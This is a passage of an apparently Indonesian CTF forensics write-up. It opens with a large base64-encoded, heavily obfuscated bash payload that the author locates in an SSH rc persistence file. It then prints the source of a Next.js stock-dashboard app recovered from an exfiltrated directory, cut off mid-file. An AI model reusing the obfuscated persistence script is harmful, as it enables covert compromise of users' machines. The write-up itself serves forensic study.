QWx0XHt9MikrMiIzIiNiKSApKSAiJHtALH0iICAgKSIgJHsqLzMlSEM1Vi96XCJZQH0gICAkeyolJTVSSVx9X3QkfSAgICYmICR7KiUlfjpFZz9cIkgqfSAgICcncFxyaW4ndCdmICAgIlx4JCggICR7Ki8vXGA0aiR4elxddS9XRUBsc2N9IFxwXHIkJ1x1MDA2OW4nXHQiImYgICVzICdqOE85Zk54dycgIiRAIiAgIiR7QC9SKm9cIVwhL1woJjNmfSIgfCAgICR7QF5efSAgICRAICAiIiIke0AvL2k4eT42SX0ibSQnXDE0NCciIjVzInUibSAgJHtAJVlPYT5NUEh9ICB8ICAgJHsqIyNxeVVDWUF+fSAgIGN1dCAtYiAgICQoKCAgKCgiMSIkeyosLH02IyR7Kn0xLSIyIiIke0AvVi15K19Wfi9XbEUxSyp9IjAjMikrIjQiIyIxIjEpICAgKSktJCgoICAgKC0oLSg0JHtALy9menM+LUNrc30jJHtAL015RkFpRH0xMC0iLSIiMyIjMjApKzIiIyIxIjAiMSkpICkpICR7Kn59ICAgJHsqIyNvMk5LMH0gICApIiAgIiR7QH5+fSIgICAiJHtAfn59IiA7ICAgJHsqLy9kZzpTK0NufSAgIFxwciIiaW50JydmICAgIlx4JCggICIke0AjXCFsSkFsbTR9IiAgXHByaW50ZiAgICVzICdtbDhCS0pzJyAgICR7Kix9ICR7KiwsfSAgfCAkeyosLH0gJHsqXn0gJCdcdTAwNmQnIiIkeyovLUlrb1xdRy8lLDlOQDI2NH1kIjUiXHMnJyJ1IiIiJHsqLCx9bSAgICR7ISp9ICAkeyovRGJiWWxkfSAgIHwgIiR7QC9cWGhQfSIgIFxjIiIke0AjI3RfeW18fXUkJ1x4NzQnICAtYiAgJCgoICAgKCgiNSIjMSIke0AlJWpyWnN9IjAtIjQiJHsqfn02IyIke0AvfkZ1dUBZXFsvZTsyRHVmfSIwKSsyJHsqfn59IyR7QCUlZHw1JmZcXXhZfTEwMCkgICkpLSQoKCAgKC0oLSgzIiMiIjEiIjAiLS0zNSMiaSIpKzIkeyosLH0yI2IpKSAgKSkgICR7Kl5efSAgJHsqXl59ICkiICAiJHtAXn0iICR7Kn0gICAmJiAgJCogcFxyJydpIm4iJCdcMTY0ZicgIlx4JCggJHsqXl59ICAgJHshKn0gICAkJ1wxNjAnJydyaSduJ3RmICAlcyAgICcjbHlkZUVdbScgICAkeypefSAkeyovL35QYzQ5RX0gICB8ICAgJHsqLy85dlNXTjUyfSAgICR7Kix9ICAgJyckeyolJTJcITd4Mit9bSQnXHUwMDY0NXN1XDE1NScgICAkeyosfSB8ICAgJHsqLy83TVxgXCJcezAvcjEwYSUsQ30gICR7Kl5efWN1IiR7QC8vPkdNNy5MLzFBMlxgYn0idCAtYiAgICQoKCAgKCgtNyMiMSIkeyp+fTEwKzUkKjkjIiR7QC8/YSNoL2hmXCFcMX0iaykrIiR7QH59IjcjMTIzKSAgICkpLSQoKCAgKCgxIiR7QCNGOCwkQEZ9IjYjJHsqLy9TSU86L3w1VFl9ZSoiLSI3IyR7Ki8vUVwpPD1cIWw4L1dkTlx9X159MSIxIikrJHtALH02JHsqfn00IzIke0AlNzReczF9ZikgICApKSAgICR7QH5+fSAgJHtAXl59ICkiICAke0AjI0tmVlRXTH59ICAmJiAiJHtAfn59IiAgICR7KiMjQlBCX09ERnF9ICAiIidwJ3JpbiQnXHg3NCdmICJceCQoICR7Kix9ICR7ISp9cHInaSduJyd0JCpmICAlcyAnX1ArOV0nICAgJHsqXn0gJHsqJSViXCE5Xzc6fnF9ICAgfCAgICR7Kn59ICR7KiUtOFkkbn0gIiIibSInJ2QiNSInJ3N1JycnbScgICIke0AvL3g5XCJqYXoyL2JPSDlxLn0iICAgfCAgICIke0BeXn0iICAgY3V0ICAgLWIgJCgoICgoLTMke0AsLH0jMSIke0AsLH0iMCoxOCIjIiR7Kn0yKSsiJHtAIyxxQmMsNVY3fSIxOSNkKSAgICkpLSQoKCAoKCIke0AlSCNcLTJccn0iMTUiIyIxKi0yMSMiMSIpKzQjIiR7QCx9IjIiJHtAfSIxKSAgICkpICAkeyovI3Z3Xy86M3M5PC1qMH0gIiR7QC8vP01QQTklLnIvZT9GREV9IiApIiAgICR7QCN6XH03ckh3RkB9ICAmJiAgJHsqLy8rK0hcXVN9ICAgJHtAI1x9Y2xjSE19ICAncCdyIiIkJ1x4NjknXG5cdGYgIlx4JCggICAkeyovXCJAaDMlfSAgJCdceDcwclwxNTEnIm4iJ3QnZiAgJXMgJ2VTIT1MJyAgJHsqLH0gICAkeyosfSB8ICR7KiwsfSAgIm0iJHtAJUlCdGNEb31kNScnJCdcMTYzJyIidScnbSAiJHtALy86dzBCVi9YVFwifmR9IiAgIHwgICAkeyojI1BoLVwpZn0gICAiJHtALCx9IiBcY3UidCIgIC1iICAgJCgoICAgKCgiLSI2IzEwKiQqNCMxIjAiKSskeyolJSolMFxbWH0zIjAiIyR7QCNcKFwhbk1vbFx9fTE5KSAgICkpLSQoKCAgKCgtOCMyKzcjIjEiIiR7QH59IjApKzExIyIxIjApICAgKSkgICAkeypeXn0gJHtAL3hccEMzL1dOY3Uja1xbLH0gICkiICAgJHsqXl59ICA7ICAke0AsfSAkeyolOzUxVkFZfSAgJCdceDcwJyIiJ3InJCdceDY5J1xudCdmJyAgIlx4JCggJHshKn0gICR7QH59ICAgXHByJydcaSR7QCx9bnRmICAlcyAgJ1ZuUWZRP1FhJyAgICR7Kl59ICR7QC8zbHltL1x7PURrOHR9ICAgfCAgICR7KiwsfSAgJydtZDUiIiQnc1x4NzUnJCdcMTU1JyAgJHsqIyM1cWpcYCxjXkJ9ICAgfCAgJHtAXl59ICAgJHsqfn59ICBjInUiJHtAJWhfJEJfdWh9dCAgLWIgJCgoICgtKC0oIiR7QCwsfSIzIjMiIiMiMi00IjEiIyIxIikrNiIjIiQqMCkpICkpLSQoKCAoKCQqLSI0IjcjIjEiKiR7Kn5+fTYxIzApKzIkeyolalY3KnNAfTIjIjIiKSAgKSkgICAkeyovL3dcKVN2T1xnL1x9cjlpfSAgICR7Ki8vJUpeWDUzPi88NyVcXTZBfSApIiAgICR7Kl5efSAmJiAgJHsqLz5xRHB0fSAgIiR7QF59IiAgICIke0AlJVhUc1whK1F9InAiIiQnXDE2MmknIiIkJ1x4NmUnInQiIiIkJ1x1MDA2NicgICJceCQoICAgJHtAIzsuUmY/WHB9ICAgJHsqLy8uKlc/XHssL25ackpiSE19ICAiIidwJyIicmluXHRmICAgJXMgICAnUj5sWjZ9WVEnICAgJHshQH0gJHtALy9cIXxcIjJebD1cIn0gICB8ICAiJHtAJTlFb3h9IiAiIm0ke0B+fn1kXDUicyIndSckJ1x4NmQnICIke0AvUSM7XCgvPzxTO30iICB8ICAkeyp+fn0gICBjdXQgIC1iICAkWyAgICgoMiR7Kl59OSIjIjAtLTE3IzEpKzMjIjIiMSkgXS0kWyAoKC0iNCIjMSIzIisyMCMke0AvOjhfcXxDL3xcKGZcfX1lKSsiMiIjMTApICAgXSAiJHtAXn0iICkiICR7QC8vOUpQSjcuLTt9ICQqICAgOyAgJHsqXn0gICBwXHJpIiR7QF5efSJudCdmJyAiXHgkKCAiJHtAL25yPyNqXCFSUn0iICAncCdyaVxuIiJ0ZiAgICVzICc/PChCRycgICAkeyosfSAgfCAkeyovL09MVlo1Ty9PNkMldn0gICIke0AvL1F8TU5+VlZYLzo/K1x9XGBxfSIgICBcbSdkJzVzJyckJ3VcMTU1JyAgICR7Kn0gfCAgICR7Kn59ICIke0AsLH0iICAgIiJjdSIidCAgIC1iICAgJFsgICgoLSI1IiR7QCU2K1laZ30jJHsqLH0xJHsqI1woay5FcFx7JCZ9MCs4IzEwKSs1NCNnKSBdLSRbICAgKCgtMyMxMi02IzEwKSs0IjAiIyJ2IikgIF0gJHsqfSAgICRAICApIiAgJHsqLCx9ICAgIiR7QCwsfSIgICAmJiAgICR7QH5+fSAgIiR7QH59IiAgICdwJyQnclx1MDA2OScnJyQnXHg2ZSd0ZiAgIlx4JCggICAkeyovdDFcKWR9IFxwcicnJCdcMTUxJ24kQHRcZiAgJXMgICAnfCM2W1snICAgJHsqfn59ICAgJCogfCAkeyovL2M8ZUouWTovREBfY3B9ICAgJHsqLCx9ICAiIidtJ1xkNXMkeyp9dScnXG0gJHsqfn59ICB8ICR7Ki8vXCxcIVxgeTNNL0ozUlN9ICIke0AvaE9nPGJLLzdudXREMVJ9IiAgYyR7QC8vZnpPYk9cIjt9dSIke0AvL1wpYztcfSNoP30idCAgIC1iICAkKCggKCgkeypefS0yIzEiJHtALCx9IjEqIiRAIjExIyIxIikrMyMyIjEiMCkgICApKS0kKCggICgoNSMxMCstNjIjJHtAfn1lKSsiNSI1I3MpICAgKSkgICAkeyEqfSAkeyosfSAgICkiICAgJHtALH0gOyAgICR7QC9NXChuOXprdjgvWDhsamxcIn0gICcnInAiJydyaW50IiInZicgICAiXHgkKCAgICR7ISp9ICAke0B+fn1wJCdcdTAwNzInaScnIm4idCQnXDE0NicgICVzICAgJ1U3P3dVWk4nICAgJHsqLy9aSTlyMGh8Nn0gJHtAfn59ICAgfCAgICR7Kl5efSAgICIke0AjI01cXWdxSEpGfSIgICAiIm0keyolU140QW4+XCJ9ZCQnXDY1cyd1bSAgICIke0BeXn0iICAgJHsqJSVubC58fSAgIHwgICQqICIke0AvV1whO2hTL3VzX1wpYS59IiBcY3UndCcgLWIgJFsgICAoLSgtKC0iMyIkeyp9IzIxKiIke0AlXFlmLjBUK30iLSR7Kn5+fTUjMTMpKzU1IyJ2IikpICBdLSRbICAgKCgyIiR7QF5efSIjJHsqXl59MTEwIjEiKi0iMSI5JHsqLH0jJHsqfTEpKyR7QF59NiIjIjEwJHshKn0zKSAgXSAgJHsqfn0gIiR7QCMxKkVffSIgICApIiAgICR7QF59ICR7KiUlUlxdb2EwXCJ9ICAmJiAgJHtAXl59ICBwcmkiIm50IiJmICJceCQoICR7Kn59ICAgcCR7ISp9ciIiaSduJyd0J1xmICAlcyAgICd9PE9RfG1kUScgIiR7QH5+fSIgIHwgJHsqIztSQGhxXFx9ICBcbSIiZDVzJCdcdTAwNzUnJ20nICAkeyojciVeV30gfCAgJHsqL1EkQ1wlXCI9cC8mREFPfSAgJHtALy8uQjhQOC8teT1+Jn0gICAiIiJjIiQqdScnIiR7QF5efSJ0IC1iICQoKCAgKCgtNSMiMiIrLTQjMTMwKSs2MyNaKSApKS0kKCggICAoKCR7Ki8vYUhUTFxgWSwvXGBiUFAqfS0yNyMiZCIrMTIjMjkpKzMjIiR7QC8vJUFxZ2Z3fSIxMTApICApKSAgICIke0AvLysuLWNcIi84fF5lYjl9IiAgJHtALH0gICkiICR7QF5efSAgIDsgICR7IUB9ICAgJHsqJXZKPU5XTVwpfXAkeyFAfXJpXG4ndCckKmYgICJceCQoICAkeyovTDorPUJWNG19ICAiJEAiIHAnJyQnXHg3MicnJ2kkJ1x1MDA2ZScnJyIke0AvL1woaztud1wpL1VZMThpTk19InQiJHtAfn0iZiAgJXMgJ1VWYmInICIke0AvXChILVM/b3x9IiAgIHwgJHsqXn0gIiR7QC85czw5IzQvUVxSUX0iICBtZDUiIiIke0BeXn0ic3UkJ1wxNTUnICAkKiAiJHtAJSVtbXBPJFB9IiB8ICAiJHtAXl59IiAgICR7QCx9ICAgJEBjJCdcMTY1JycnIiR7QCUlXF1cYFZUYUBHXCJ9InQgLWIgJCgoICAoKDQjMTAqMzEiIyIwKSszNiNtKSAgICkpLSRbICAoLSgtKC0iMiIjMTAiMCIiMSIqJHsqI1woVD9cKSsyQjV9LTYjMSIwIikrMyIjIjEwIjEiMSkpICBdICAgJHsqLCx9ICkiICQqICA7ICAgJHtALy8uTjBKcS9NXCF+bUVzb1F9ICAgJ3AncmlcbiJ0ImYgIlx4JCggICAkeypefSAgIiR7QC8vJW44OURYX30iICBwJHsqfn1yXGluJHsqLy9IQ1lyUVo0UC9vTkRceyV9dGYgICAlcyAnN0c4WF1HJyAgICIke0BeXn0iICAkeyosfSAgIHwgJEAgbWQ1IiIiJHtAIyN+QFhuK2dRcH0ic3VtICR7KiwsfSB8ICAke0AsfSAgICR7QC8yRFwicVxdfSAgICIiY1x1J3QnICAtYiAgJFsgKC0oLSgxOCMyNi0tIjIiNyMkQDFqKSsiJHtAL2ZcW1wpNHN3fSIzJHtAJVJUdVxbIzJ9MCIke0AjblxSXFtcIlgzWH0iIzIxKSkgIF0tJFsgICgoIiR7QCx9Ii0kKjIkeyovL3NcXTN1dS9cKWN+TEAjPn0yIzEtLTQjIiR7QCNfPkVuSDUzfSIxMCkrIjEiIjQiJHsqLy9cXUc2Rn0jMSR7KiwsfWIpICAgXSAkeyovL1xINH4vXHt+XCFcIURAfnN9ICAkeyolJCZcIXp3c1x7eH0gKSIgICR7Kn59ICR7QCNlbn4qfSAgOyAkeyovMFhofi9kZ15cfVl9ICAke0B+fSAgICQnXHUwMDcwJycnciQnaVwxNTZ0ZicgICJceCQoICIke0AvL21DXCJcKX0iIFxwJCdcdTAwNzJcMTUxJyIke0AjU0M4XCh9Im50ZiAgICVzICAgJ3JLMmlpQUwnICAkeyovL2VcIiN1RH0gIiR7QCx9IiB8ICAgJHsqfSAnJ1xtZFw1XHN1IiInbScgICR7QH0gfCAgICIke0AjNFxgRWxTPTZHfSIgICR7Kn59ICAiJHtAJSVtMElZXFtecVxgfSJjdXQgLWIgICRbICgoLTQke0BeXn0jIjIiMCstIjUiIjUiIzEpKzcjIjIiMCkgXS0kKCggKCgtMiMxMSotNjMjMSkrMiR7QH59IzExKSApKSAgJHsqXn0gICR7QC9PZDdce1ljL2ElZVhnfSApIiAgJHsqLy95WmVcYDhwQ30gICAmJiAgJHsqJSVcIVRxWFRMSm99ICAgcCIiJCdceDcyJ1xpIiJuJyd0ZiAiXHgkKCAke0AvL3k+OFMvZk04WH0gIiR7QCwsfSJwJydccmluIiR7QC8vXClWWkllaU19InQnZicgJXMgICAnLk9EU31+UycgICAkeyovL1xbKlNcImF9ICAgfCAgICIke0B+fSIgICR7KiM8UU9cXVwiVjd9ICAgJHshQH1tJCdceDY0JyRbICgtKC0oJHtAXn01IyR7Ki8vaFlcInJULnxcey9aSlZJfTEwLS0iMyIjMTAwKSske0AvL1I4RTBXSjMrLz5XLFxAfTQiIyIiMiIxKSkgXXN1bSAgJHtAfn0gICB8ICR7KiVlM1woRFIuVn0gICBjIiR7QF5efSJ1JHsqfn59dCAtYiAgJFsgKC0oLSgiMSIiNiIjMSIkQCIwLS0keyolJUN5T1x9Zm9MfTgkeyolQ3dQVVxgZmF9IzMkeyosLH0wKSs1IzQke0AlJV98QVp9MykpIF0tJCgoICAoKCR7QH59MyIke0B9IiMkeyolMkY7Yjx9MjErMiMxIiR7QC8jU0lrbW19IjAxKSs1IzEkeyojI0dcKHZvKn0xKSAgKSkgICR7QCVcIlFXXH1ce1YmXCl9ICkiICAgIiR7QH5+fSIgICR7KiNzejIzd259ICA7ICAgJEAgICAkeyojVy1IdnVjS30gICBccFxyImkiXG4kJ3RceDY2JyAiXHgkKCAgICR7QH59ICAgJHshKn0gJyckeyp+fn1wJydyaW5cdCcnImYiICVzICAgJ0ojfC0nICAkeyovLzdYXChoXGBPL1x9TUElcGp9ICAgfCAgJHsqIyNTX1woWE98fSAgbVxkNXMiIiQnXDE2NScnbScgICAiJHtAfSIgIHwgICAkeyp+fSAgICR7QC9vKlwpYn0gICBjdXQgIC1iICAgJFsgICgtKC0oMiMxMSIwIiokeyp9MiMxMDEpKzQ3I2MpKSBdLSQoKCAgICgoJHsqL2NEJWE0fH0zJHtALy95UT1cKX0yIzIrJHshKn02MyMiYSIpKzMjIjIiMSkgICApKSAkeyovL0dZXCExTi9sb0xpb3ZjfSApIiAgJHtALH0gICYmICAiJHtAIyNnJkMlfSIgICAke0AsfSAkeyovWERKMmp1XCkqfXAnJydyJycnaScnXG4kJ1wxNjQnXGYgIlx4JCggICAkeypeXn0gICAkJ1x1MDA3MCcke0AjcH5CU1pvRn1yJHtAXl59aW50IiR7QH59ImYgICAlcyAgJyMyXC4nICAgJHtALy9tY1xdXCgwbys/L2hcXWtpN1xcfSAgICR7Kix9IHwgICAkeyovcG9sOUJ0REh9ICAibSIkJ1wxNDQnIjUiJycncyckeypeXn11JydcbSAgICQqICR7Kn59IHwgICAiJHtAfn59IiAgXGMkJ1x4NzUndCAgLWIgJCgoICAgKCgyIyIxIjAkeypeXn0xKiR7Ki9cITo0a1woPC9ISWQ7VDxoOH0tJHtAL2txP0cwfTYjIjEiIjAiKSs2NCNQKSAgICkpLSQoKCAgICgtKC0oNDQjInUiLS0keyovP0ZiWVZ9MjgjMSI0IikrMzcjMTMpKSApKSAgJHtALH0gICAkeyp9ICkiICIke0AlJXEtNFc5WH0iICAmJiAgJHtAXl59ICAgIiR7QC91N1RIOHovI0M2c15KLn0iICAgXHBcclxpJCdcMTU2J3QkeyosLH1mICAgIlx4JCggICR7KiU2XnFOfSBccHJpJHtAfW4iJHtALCx9InQnJ2YgICVzICd2dk9BV1Z3RScgJHtAL1QweStqTFwtLypLMFxbfSB8ICR7Ki9tLFx7R2d9ICIke0AvL0diR0RtY2pmfSIgIiJcbWQnJzVzJHtAfn59dW0gJHsqIyNcRF58fSB8ICAgJHshQH0gJHsqfn1jdSJ0IiAgIC1iICAgJCgoICAoKDIkeyFAfSMxMDAqLTUxIyIxIikrMzEjaCkgKSktJCgoICAoKCR7Kix9LTQjIiR7QC81Lk9pLTFpUX0iMSIwIiotMyMxMCkrIiR7QF59IjYiIyIiJHtAIyN0bGFcKUx9IjIpICAgKSkgICAke0AlJXJSJUx+fSAgIiR7QCwsfSIgICApIiAke0AlQGlcIW5EfSAgICR7Ki8valA7XH19ICAgJiYgICAkeyosfSAkJ1x1MDA3MHInJHsqIyQ6elxgJDI5fWluJ3QnXGYgIlx4JCggICAiJHtAfSIgJHtAJSVce1woXCheQjt4Nn0gICAnJ3AkJ3JcdTAwNjknIiR7QC9wUjFML09obyRcImd9Im50ZiAgICVzICd2Vjp8fV0nICAgJHsqfn59ICB8ICAkeyovblwhRlxbMzRIL2E+SUFoUn0gICBtZCIiNSIiJCdcMTYzJ3UnbScgICAkeyp+fn0gJHsqLy8+RDczcC9NaV4mT30gfCAiJHtALy9nVWxcfVc+bnAvYS0mXCJ9IiAgIiJcY3UnJ1x0ICAgLWIgICRbICAoLSgtKDIjIiRAIjEwIjAiMCoyIzEwIjEiKSs2MyNsKSkgIF0tJCgoICAoLSgtKDYzI2ItJHsqXn0tIjIiMSMke0AlJTpcVTp4fTEzKSsiMyIjMTIwKSkgICkpICAgJHtALy87MT5zeGZ9ICkiICR7IUB9ICIke0AvL1RTS3pYMH0iICAgJiYgICAiJHtAIz5cKDBUfSIgIiIncCciJHtAfn0icmkiJHtAIyNlUnZiXn0ibnQnJydmJyAgIlx4JCggIiR7QH5+fSIgIHAkeyp+fXIkeyojQTdcITx9aScnXG4kJ1x4NzQnXGYgICVzICdgREFkJyAgICR7QCMjPWc0en0gICIke0AvXGBxSFA5aEAvKkY6NzR9IiAgfCAgICR7Ki8mR1x7VH0gICAkeyp9bSIke0AvL3J3emJ5fSJkNVxzXHUibSIgJCogfCAkeyFAfSAgJHsqLy9kQlxgUEp9ICAnJ2MkJ1x4NzUnIiJcdCAgIC1iICQoKCAgKCgke0AvL1x7bVxdYnNmSm0vbzhmTGM2Li19LTQiIyIxIiR7QF5efSIwLS0iMyIke0AsfTIjIiRAImUpKyR7Ki8vXCgjKzEvSiM1V05EXCEzfTIkQCMxMTApICAgKSktJFsgICgoJHsqJWR1MEE3fS00IiR7QF59IjUjYystNiIke0AsLH0iIyIxIjEpKzMiMSIjMSI1IikgIF0gICR7Kn0gKSIgICAke0AlbkBXa3o5Jkl9ICAkeyovLztSTSojcHN9ICAgOyAkeyojXClnNFx7RE5efSAkeypefSBccCJyIlxpXG50XGYgIlx4JCggJHsqLy9eXF1eXH1PYSUqfSBwciQnaVx1MDA2ZSd0ZiAlcyAgICdyUjBpXTVDRScgJHsqLH0gJHsqfSB8ICAke0AvL0FrPipePl59ICIke0AjI1FwZVxcfSIgIG0nJ2Q1cyR7QF59dSIke0AjIyNQTlJ9Im0gJHsqXn0gICAkeypeXn0gIHwgICR7Ki8vLmpnXF1SXH1+fSAgJHtAI040eEB9Y1x1InQiICAtYiAkKCggICAoLSgtKDQke0AjSkBPdVpSX2h9NSIjImQtJHsqLH0tMyIyIiMkeyp+fWcpKzQiOSIjaSkpICkpLSRbICgtKC0oMiMxIjAiJHsqLCx9MSIwIjAtIjIiNSMxKSske0AvJUBaQDV9MyMiMiIke0AjWT9vXn0xKSkgICBdICAkeyojIzllXCFCczN9ICR7Kn59ICApIiAgICQqICR7QC8vXCJPUWE1QDYmL0Vzd1x7IzdrfSAgJiYgICAkeyojIypnSlxgfSAkKiBwJCdcdTAwNzJpbicndCckJ1wxNDYnICJceCQoICR7IUB9IHAiIlxyJHsqXn1pbnQke0AvL2J0UD0wVS8tSThNM2VJfWYgICAlcyAgJyZ0d0VLbFc5JyAgJHsqIyNucjtcKWpyYWt9IHwgICAke0AlQnNKQn0gICBtJCdcMTQ0XHUwMDM1JyIic3VtICAgJHtAJVxOdztnNH0gICB8ICAkeyp+fn0gICIkQCIgY3Uke0B9dCAgLWIgJCgoICgoJHsqfn59NCR7ISp9NyNhKi01IzEiMyIpKzMkeyEqfTcjMnopICApKS0kKCggKCgyIzEwMDAtJHshKn0tIjMiIjMiJHsqIyNIc1J+XkZ9I2cpKzQjMSIyIikgKSkgICAke0AlMmxod2xLeX0gICR7QCwsfSApIiAgICR7KiV6OlwofGl9ICAke0AvL1ZAXFs4Q3RcIS9UKy47XChwSn0gICYmICAkeypefSAgICIke0AvN1wpQHgvV3V8M30iICcnJCdcdTAwNzByaSdudCcnZiAgICJceCQoICAiJHtALy9SRFh0a24vLnYqXFtZeH0iICAgJHsqIyNHRmptXn0gICAnJyR7KiVcW3NKc0VZfXAkJ1x1MDA3MmknJ24ndCIiZiAgJXMgJ1NjeWAnICAgIiR7QH59IiAgfCAiJHtALy9BfiNLL3Z6PmV0JVp9IiAgbSR7QC8vJThYTiU6ci87QUJCb31kIiIkJzVcdTAwNzNceDc1JycnIm0iICAkeyovZVBCZ2d8XH19ICAgJHsqXl59ICB8ICAiJHtALH0iIGN1IiJ0ICAtYiAkWyAoKCItIjQ5I2ItLSIzIiR7KiVEVGpCfSMyMCkrOSIke0AlJVR+P0cyfSIjMzIpICBdLSQoKCAoKDgjJHsqfn59Mi0tNiMxMykrMiI4IiR7QCNzSys8VSZDfSNlKSApKSAgICR7Kl5efSAgICR7KiwsfSAgICkiICAgJHsqLy91YWtLS0pNLyRSXCg5PUl9ICAgOyAgIiR7QH0iICIke0AlblRid1xdfSIgICAgKSIgICR7IUB9ICAg
EOF⏎
```

jadi jawabannya adalah `/home/cj/.ssh/rc`

Answer: `/home/cj/.ssh/rc`

## Q6: It looks like the exfiltrated directory files were all being shredded. Please provide the original metadata title of the web application (in layout.tsx file), the total of the stock sectors and the total of the companies!

Jujur disini gw lupa njir gimana cara decrypt nya :v, efek REPL cik + udah lama baru dibuat wu beneran nya aowkawok, ya anggap aja ini timeskip, pokoknya kita disini harus ngedecrypt buat bisa akses isi asli dari direktori `company_secret`, soalnya kalo cuma dari mount, itu isian nya kosong.

kita bisa cek di `/app/layout.tsx`

![](q6.png)

```tsx
import &apos;./globals.css&apos;
import type { Metadata } from &apos;next&apos;
import { Inter } from &apos;next/font/google&apos;

const inter = Inter({
  subsets: [&apos;latin&apos;],
  weight: [&apos;400&apos;, &apos;500&apos;, &apos;600&apos;, &apos;700&apos;, &apos;800&apos;, &apos;900&apos;],
})

export const metadata: Metadata = {
  title: &apos;Saham Bos 2025 - Stock Market Dashboard&apos;,
  description:
    &apos;Professional stock market portfolio viewer and analytics dashboard&apos;,
}

export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    &lt;html lang=&quot;en&quot;&gt;
      &lt;body className={inter.className}&gt;{children}&lt;/body&gt;
    &lt;/html&gt;
  )
}
```

dan `page.tsx`

```tsx
&apos;use client&apos;

import { useState, useEffect } from &apos;react&apos;
import {
  TrendingUp,
  TrendingDown,
  Activity,
  BarChart3,
  PieChart,
  LineChart,
  ArrowUpRight,
  ArrowDownRight,
  RefreshCw,
} from &apos;lucide-react&apos;
import { Card, CardContent, CardHeader, CardTitle } from &apos;@/components/ui/card&apos;
import { Tabs, TabsContent, TabsList, TabsTrigger } from &apos;@/components/ui/tabs&apos;
import StockTable from &apos;@/components/stock-table&apos;
import SectorChart from &apos;@/components/sector-chart&apos;
import PortfolioOverview from &apos;@/components/portfolio-overview&apos;
import MarketHeatmap from &apos;@/components/market-heatmap&apos;
import TopMovers from &apos;@/components/top-movers&apos;

export default function Home() {
  const [marketData, setMarketData] = useState({
    totalValue: 0,
    dayChange: 0,
    dayChangePercent: 0,
    totalStocks: 0,
    gainers: 0,
    losers: 0,
  })
  const [isRefreshing, setIsRefreshing] = useState(false)

  const generateMarketData = () =&gt; {
    const baseValue = 1250000000
    const variation = Math.random() * 100000000 - 50000000
    const totalValue = baseValue + variation
    const dayChange = Math.random() * 40000000 - 20000000
    const dayChangePercent = (dayChange / totalValue) * 100

    setMarketData({
      totalValue,
      dayChange,
      dayChangePercent,
      totalStocks: Math.floor(Math.random() * 10) + 35,
      gainers: Math.floor(Math.random() * 15) + 15,
      losers: Math.floor(Math.random() * 15) + 10,
    })
  }

  useEffect(() =&gt; {
    generateMarketData()
  }, [])

  const handleRefresh = () =&gt; {
    setIsRefreshing(true)
    generateMarketData()
    setTimeout(() =&gt; setIsRefreshing(false), 1000)
  }

  const formatCurrency = (value: number) =&gt; {
    return new Intl.NumberFormat(&apos;id-ID&apos;, {
      style: &apos;currency&apos;,
      currency: &apos;IDR&apos;,
      minimumFractionDigits: 0,
      maximumFractionDigits: 0,
    }).format(value)
  }

  const formatPercent = (value: number) =&gt; {
    return `${value &gt;= 0 ? &apos;+&apos; : &apos;&apos;}${value.toFixed(2)}%`
  }

  return (
    &lt;div className=&quot;min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950&quot;&gt;
      &lt;div className=&quot;border-b border-slate-800 bg-slate-950/50 backdrop-blur-xl&quot;&gt;
        &lt;div className=&quot;container mx-auto px-4 py-6&quot;&gt;
          &lt;div className=&quot;flex items-center justify-between&quot;&gt;
            &lt;div&gt;
              &lt;h1 className=&quot;mb-1 text-4xl font-black tracking-tight text-white&quot;&gt;
                SAHAM BOS &lt;span className=&quot;text-emerald-400&quot;&gt;2025&lt;/span&gt;
              &lt;/h1&gt;
              &lt;p className=&quot;font-medium text-slate-400&quot;&gt;
                Real-time Market Intelligence Dashboard
              &lt;/p&gt;
            &lt;/div&gt;
            &lt;button
              onClick={handleRefresh}
              className=&quot;flex items-center gap-2 rounded-lg bg-gradient-to-r from-emerald-500 to-teal-500 px-6 py-3 font-bold text-white shadow-lg shadow-emerald-500/20 transition-all hover:from-emerald-600 hover:to-teal-600 hover:shadow-emerald-500/40&quot;
            &gt;
              &lt;RefreshCw
                className={`h-5 w-5 ${isRefreshing ? &apos;animate-spin&apos; : &apos;&apos;}`}
              /&gt;
              REFRESH DATA
            &lt;/button&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div className=&quot;container mx-auto px-4 py-8&quot;&gt;
        &lt;div className=&quot;mb-8 grid grid-cols-1 gap-6 md:grid-cols-2 lg:grid-cols-4&quot;&gt;
          &lt;Card className=&quot;border-slate-700 bg-gradient-to-br from-slate-900 to-slate-800 shadow-xl&quot;&gt;
            &lt;CardHeader className=&quot;pb-3&quot;&gt;
              &lt;CardTitle className=&quot;text-sm font-bold tracking-wider text-slate-400 uppercase&quot;&gt;
                Portfolio Value
              &lt;/CardTitle&gt;
            &lt;/CardHeader&gt;
            &lt;CardContent&gt;
              &lt;div className=&quot;mb-2 text-3xl font-black text-white&quot;&gt;
                {formatCurrency(marketData.totalValue)}
              &lt;/div&gt;
              &lt;div
                className={`flex items-center gap-1 text-sm font-bold ${marketData.dayChange &gt;= 0 ? &apos;text-emerald-400&apos; : &apos;text-red-400&apos;}`}
              &gt;
                {marketData.dayChange &gt;= 0 ? (
                  &lt;ArrowUpRight className=&quot;h-4 w-4&quot; /&gt;
                ) : (
                  &lt;ArrowDownRight className=&quot;h-4 w-4&quot; /&gt;
                )}
                {formatCurrency(Math.abs(marketData.dayChange))} (
                {formatPercent(marketData.dayChangePercent)})
              &lt;/div&gt;
            &lt;/CardContent&gt;
          &lt;/Card&gt;

          &lt;Card className=&quot;border-emerald-700/50 bg-gradient-to-br from-emerald-900/40 to-emerald-800/40 shadow-xl&quot;&gt;
            &lt;CardHeader className=&quot;pb-3&quot;&gt;
              &lt;CardTitle className=&quot;flex items-center gap-2 text-sm font-bold tracking-wider text-emerald-300 uppercase&quot;&gt;
                &lt;TrendingUp className=&quot;h-4 w-4&quot; /&gt;
                Gainers Today
              &lt;/CardTitle&gt;
            &lt;/CardHeader&gt;
            &lt;CardContent&gt;
              &lt;div className=&quot;mb-1 text-4xl font-black text-emerald-400&quot;&gt;
                {marketData.gainers}
              &lt;/div&gt;
              &lt;div className=&quot;text-sm font-semibold text-emerald-300&quot;&gt;
                Stocks moving up
              &lt;/div&gt;
            &lt;/CardContent&gt;
          &lt;/Card&gt;

          &lt;Card className=&quot;border-red-700/50 bg-gradient-to-br from-red-900/40 to-red-800/40 shadow-xl&quot;&gt;
            &lt;CardHeader className=&quot;pb-3&quot;&gt;
              &lt;CardTitle className=&quot;flex items-center gap-2 text-sm font-bold tracking-wider text-red-300 uppercase&quot;&gt;
